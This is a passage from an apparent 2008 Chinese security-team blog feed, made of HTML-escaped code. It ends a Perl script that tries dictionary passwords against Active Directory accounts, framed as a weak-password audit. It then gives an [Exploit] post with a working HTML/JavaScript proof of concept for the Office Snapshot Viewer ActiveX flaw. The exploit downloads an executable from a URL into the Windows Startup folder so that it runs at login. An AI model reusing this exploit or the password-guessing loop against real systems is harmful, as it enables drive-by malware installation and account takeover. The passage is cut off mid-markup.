#000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;chomp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$userName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;98&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;99&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$users&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;{&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$userName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$mail&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;100&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;101&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;102&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objRecordSet&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;MoveNext();&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;103&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;104&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;105&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;106&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sub&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;LoadPwd&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;107&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;108&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;open&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;FH&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;&amp;lt;pass.txt&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;||&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;die&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;Open&amp;nbsp;password&amp;nbsp;dict&amp;nbsp;error,exit!n&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;109&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;110&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;@pwds&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;FH&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;111&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;chomp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;@pwds&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;112&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;113&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;114&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sub&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;TestPwd&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;115&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;116&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$username&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;shift&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;117&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$password&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;shift&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;118&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;119&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$ad&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Authen&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Simple&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ActiveDirectory&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;new(&amp;nbsp;host&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$server&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;principal&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$domain&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;||&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;die&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;Connected&amp;nbsp;error:&amp;nbsp;$!&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;120&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;121&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$ad&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;authenticate(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$username&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$password&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;122&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;123&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;124&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;125&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;126&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;127&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;128&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;129&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;130&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-2883189504335527457?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/2883189504335527457/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=2883189504335527457' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/2883189504335527457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/2883189504335527457'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/07/tipsad.html' title='[Tips]企业内部AD脆弱密码审计'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-4223681671878383635</id><published>2008-07-08T10:03:00.000-07:00</published><updated>2008-07-08T10:10:21.219-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Exploit]'/><title type='text'>[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit</title><content type='html'>by cloie&lt;br /&gt;2008-07-08&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;今天有人发了个Snapshot Viewer的ADV，结合CERT那篇dranzer.pdf，重现漏洞&lt;br /&gt;&lt;br /&gt;EXP:&lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;html&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;object&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;classid&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9'&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;id&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;='obj'&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;object&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;script&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;language&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;='javascript'&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5"&gt;var&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;&amp;nbsp;buf1&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;&amp;nbsp;'http:&lt;/span&gt;&lt;span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5"&gt;127.0.0.1/a.exe';&lt;/span&gt;&lt;span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5"&gt;var&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;&amp;nbsp;buf2&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;&amp;nbsp;'C:&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;/&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;Documents&amp;nbsp;and&amp;nbsp;Settings&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;/&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;All&amp;nbsp;Users&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;/&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;「开始」菜单&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;/&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;程序&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;/&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;启动&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;/&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;test.exe';&lt;br&gt;obj.SnapshotPath&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;&amp;nbsp;buf1;&lt;br&gt;obj.CompressedPath&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"&gt;&amp;nbsp;buf2;&lt;br&gt;obj.PrintSnapshot();&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;script&lt;/span&gt;&lt;span style="COLOR: 